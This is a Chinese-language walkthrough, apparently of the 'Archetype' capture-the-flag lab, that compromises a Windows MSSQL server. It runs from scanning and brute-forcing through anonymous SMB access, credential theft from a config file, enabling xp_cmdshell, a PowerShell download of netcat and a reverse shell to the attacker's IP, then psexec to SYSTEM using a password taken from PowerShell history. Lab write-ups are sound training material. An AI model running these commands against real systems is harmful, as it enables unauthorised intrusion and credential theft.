拿到目标的IP地址,我们先对IP地址进行信息收集,收集信息资产,同时使用nmap对IP地址进行扫描
nmap -sC -sV IP
从扫描的结果中,我们能知道目标服务器是windows操作系统,使用的是mssql数据库,数据库端口对外开放,我们先对1433端口进行爆破
hydra -L /root/user.txt -P /root/pass.txt ip mssql -vv
没有扫描出账号密码,看一下其它的端口有没有可以利用的地方
这个135端口是高危端口,我们去网上搜索一下相关利用资料,发现这个端口在之前涉及到一个冲击波病毒,这个端口有登录点,可以进行爆破,我这里使用NTscan进行爆破,没有跑出来
https://zhuanlan.zhihu.com/p/56059871
RPC协议提供DCOM服务,使用DCOM可以通过网络直接进行通信,能够跨包括HTTP协议在内的多种网络传输
下面的两个139和445端口试了,也没有什么突破,我们看到1433端口,有用到smb协议,我们尝试一下
smbclient -N -L IP
查看smb文件成功,smb协议是一种网络通信协议,客户端应用程序可以在各种网络环境下读、写服务器上的文件,以及对服务器程序提出服务请求。此外通过 SMB 协议,应用程序可以访问远程服务器端的文件、以及打印机等资源
我们这里是使用空口令进行登录并且查看smb文件,说明这个地方存在空口令漏洞
接下来,我们一个个查看smb文件,看看有没有什么敏感的信息泄露
smbclient \\\\IP\\查看的文件名
权限不够,加$的目录需要管理员权限,看来我们的账号有点不太行,看一下backups的
prod.dtsConfig好像是一个配置文件,我们把它下载下来看一下
get prod.dtsConfig
这个配置文件是MSSQL中SSIS的XML格式配置文件,里面应该会有我们想要的信息
在这里,我们找到了mssql数据库的账号密码,那我们现在就去连接目标的mssql服务器
使用Impacket工具中的mssqlclient.py脚本去连接,进入/root/impacket/examples/目录,然后使用mssqlclient.py脚本去连接就可以了
python3 mssqlclient.py ARCHETYPE/sql_svc@IP -windows-auth
输入上面获得的密码,连接成功,获取
-windows-auth :使用 Windows 身份验证
我们接下来就是进行提权,我们需要判断sql_svc是不是管理员账号,权限够不够大
help
我们看到这里有xp_cmdshell功能,我们接着判断一下sql_svc是不是管理员账号
select is_srvrolemember('sysadmin');
返回1,说明是mssql的最高权限,sa,那我们就不需要提权了,我们试一下能不能执行命令
EXEC xp_cmdshell "net user";
返回error,说明xp_cmdshell功能不能使用,命令无法执行,我们使用以下命令组开启xp_cmdshell功能
EXEC sp_configure 'show advanced options', 1
RECONFIGURE
EXEC sp_configure 'xp_cmdshell',1
RECONFIGURE
xp_cmdshell "whoami"
确认命令能够执行,但是在数据库当中不好操作,所以我们接下来就要反弹shell
我们将上传nc.exe到目标服务器上,先开启HTTP服务器、nc侦听器
python3 -m http.server 80
nc -nvlp 1234
在目标数据库中查看当前目录
exec xp_cmdshell "powershell -c pwd";
路径在C:\Windows\system32,这个可不好操作,因为我们只是数据库的最高权限,是无法修改系统的目录,这个时候,我们要改变上传的目录,我进行了目录枚举,失败了,根本移动不了,从网上找了一个默认的上传目录
C:\Users\sql_svc\Downloads,切换到数据库的默认目录C:\Users\sql_svc\Downloads并下载我们本地的nc.exe
xp_cmdshell "powershell -c cd C:\Users\sql_svc\Downloads; wget http://本地连接目标服务器的IP/nc64.exe -outfile nc64.exe"
nc上传成功,nc反弹shell
xp_cmdshell "powershell -c cd C:\Users\sql_svc\Downloads; .\nc64.exe -e cmd.exe 本地连接目标服务器的IP 1234"
反弹shell成功,拿到目标数据库的权限
我们后续的命令在nc上面敲就好了,拿到数据库的权限,我们还要进一步提权,获取服务器的权限,以便于我们后续的信息收集
在提权这里我使用的是winpeas,它可以帮我们寻找可以提权的方式
直接在nc界面输命令,先进入powershell界面
powershell
然后把winpeas.exe给下载进去
wget http://本地连接目标服务器的IP/winPEASx64.exe -outfile winpeas.exe
直接执行winpeas.exe这个工具就可以了,这个工具重点的东西,它会标红进行显示
.\winpeas.exe
看到这里,我知道这台服务器之前登录过两个账号,其中还有一个是管理员账号
ConsoleHost_history.txt是windows系统的powershell历史记录文件,我们去看看
cd AppData
cd Roaming\Microsoft\Windows\PowerShell\PSReadLine\
ls
type ConsoleHost_history.txt
我们直接看到了账号密码
winpeas不仅是一个提权的工具,它还能很好的收集服务器的信息,可以当作信息收集工具来使用,从它收集来的信息来看,这个目标没有内网
https://cloud.tencent.com/developer/article/2149150
我们得到了服务器管理员的账号密码,那我们现在就去连接一下,使用Impacket 套件中的psexec.py去连接
python3 psexec.py administrator@目标IP
whoami
成功获取服务器的system权限,因为没有内网就到这里了